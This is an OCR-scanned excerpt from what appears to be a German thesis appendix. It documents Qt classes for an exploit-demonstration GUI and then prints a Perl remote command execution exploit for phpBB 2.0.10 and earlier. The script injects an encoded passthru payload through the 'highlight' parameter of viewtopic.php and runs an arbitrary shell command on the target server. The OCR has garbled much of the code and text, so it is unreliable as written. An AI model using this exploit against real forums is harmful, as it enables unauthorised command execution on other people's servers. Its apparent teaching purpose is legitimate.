Riickgabewert:
Name:
Parameter:
Beschreibung:

Riickgabewert:
Name:
Parameter:

t AfxWidget

I Y
m_AlxWidgst

AlxWidget

A

infaw
appfaWw

AixploitsList

AixListGerman
AixListEnglish

QMainWindow *parent, AixploitsList * AixList,
AixploitsList *AixList_de, QString language
Die Funktion erzeugt die Meniileiste.

void

ChangeFontSize

QMainWindow *parent, AixploitsList * AixList,
AixploitsList *AixList_de, QString language
Die Funktion &ndert die Schriftgrofe.

void

ChangeLanguage

QString language

Die Funktion &ndert die Sprachversion.

void
quit
void

Die Funktion beendet die Prasentationsoberflache.

void
aboutApp
void
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Beschreibung: Die Funktion zeigt Informationen zur Prasentationsoberfliche.

Riickgabewert: void

Name: howTo

Parameter: void

Beschreibung: Die Funktion zeigt die Hilfe zur Prasentationsoberfliche.

B.2.10 Klasse AixButton

Die Klasse stellt Funktionen zur dynamischen Erzeugung eines Buttons bereit.

Fuktionen der Klasse AixButton:

Riickgabewert: void

Name: AixButton

Parameter: QGroupBox *btgrp, QStringList &command
Beschreibung: Die Funktion erzeugt einen Button mit einem Kommando.

Riickgabewert: void

Name: AixButtonClicked

Parameter: void

Beschreibung: Die Funktion aktualisiert die Fensterinhalte nach einem
Mausklick.
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C.1 Perl-Skript zum Exploit der phpBB Software

# /usr/bin/perl
use 10 :: Socket;
use URI:: Escape;

## phpBB<= 2.0.10 remote commands exec exploit

## based on

## hitp://securityfocus.com/archive/1/380993/2004—11—07/2004— 11— 15/0
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10

if (@ARGV < 4)

print q(##4
phpBB <=2.0.10 remote command execution exploit

111/ 1L vy 111/ 111/ 111/ L1111 1L 1L

usage:
exec_.command. pl [URL] [DIR] [NUM] [CMD]

params:

[URL] — server url e.g. 127.0.0.1

[DIR] — directory where phpBB installed e.g. /phpBB2/
[NUM] — number of existing topic e.g. 1

[CMD] — command for execute e.g. Is or "Is —la”
L . L . i Ly .

);

exit;

}

$serv = $ARGV[0];
$dir = $ARGV[1];
$topic = $ARGV[2];
$cmd = $ARGV[3];

$serv =~ S/(http:\/\/)//eg;



C Skripte

pI‘il’lt " ***********************************************\ r\ r \ n"

$emd="s/(.%):$/$1/eg;
$ecmd="s/(.)/ "% .uc(sprintf(" %2.2x" ,ord($1 )))/
$topic="s/(.)/"%" uc(sprintf(” %2.2x" ,ord($1))

$path = $dir;

$path .= 'viewtopic.php?t=";

$path = $topic;

$path .= '&Exploitlt=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20 ' ;
$path = $cmd;

$path .= '%3B%20%65%63%68%6F%20%5F %45%AE%44%5F '

$path .= '&highlight =%2527.";

$path .= '%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F %47%45%54

%5F%56%41%52%53%5B
%45%78%70%6C%6F %69%74%49%74
%5D%29.%2527 '

print " this string is send to the webserver:\n http://$serv$path\n\n”
print "show string in cleartext:\n http://"
print uri_unescape ($serv);
print uri_unescape($path);
print "\n\nthis we get back: \n”
$socket = 10 :: Socket :: INET—=>new( Proto => "tcp”
PeerAddr => " $serv”, PeerPort => "80")
|| die "no connect to host\r\n”,

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n”;
print $socket "Accept: */*\n";
print $socket " Connection: close\n\n”

$on = 0;

while ($answer = <$socket >)

{
$answer =" /~_END_/) { print "sksier\r\r\n"; exit(); }
$on { prlnt $answer”; }
($answer =~ /> START_/) { $on = 1; }

print " exploit failed\r\n”
print sk r\n” ;

Listing C.1: exec_.command.pl
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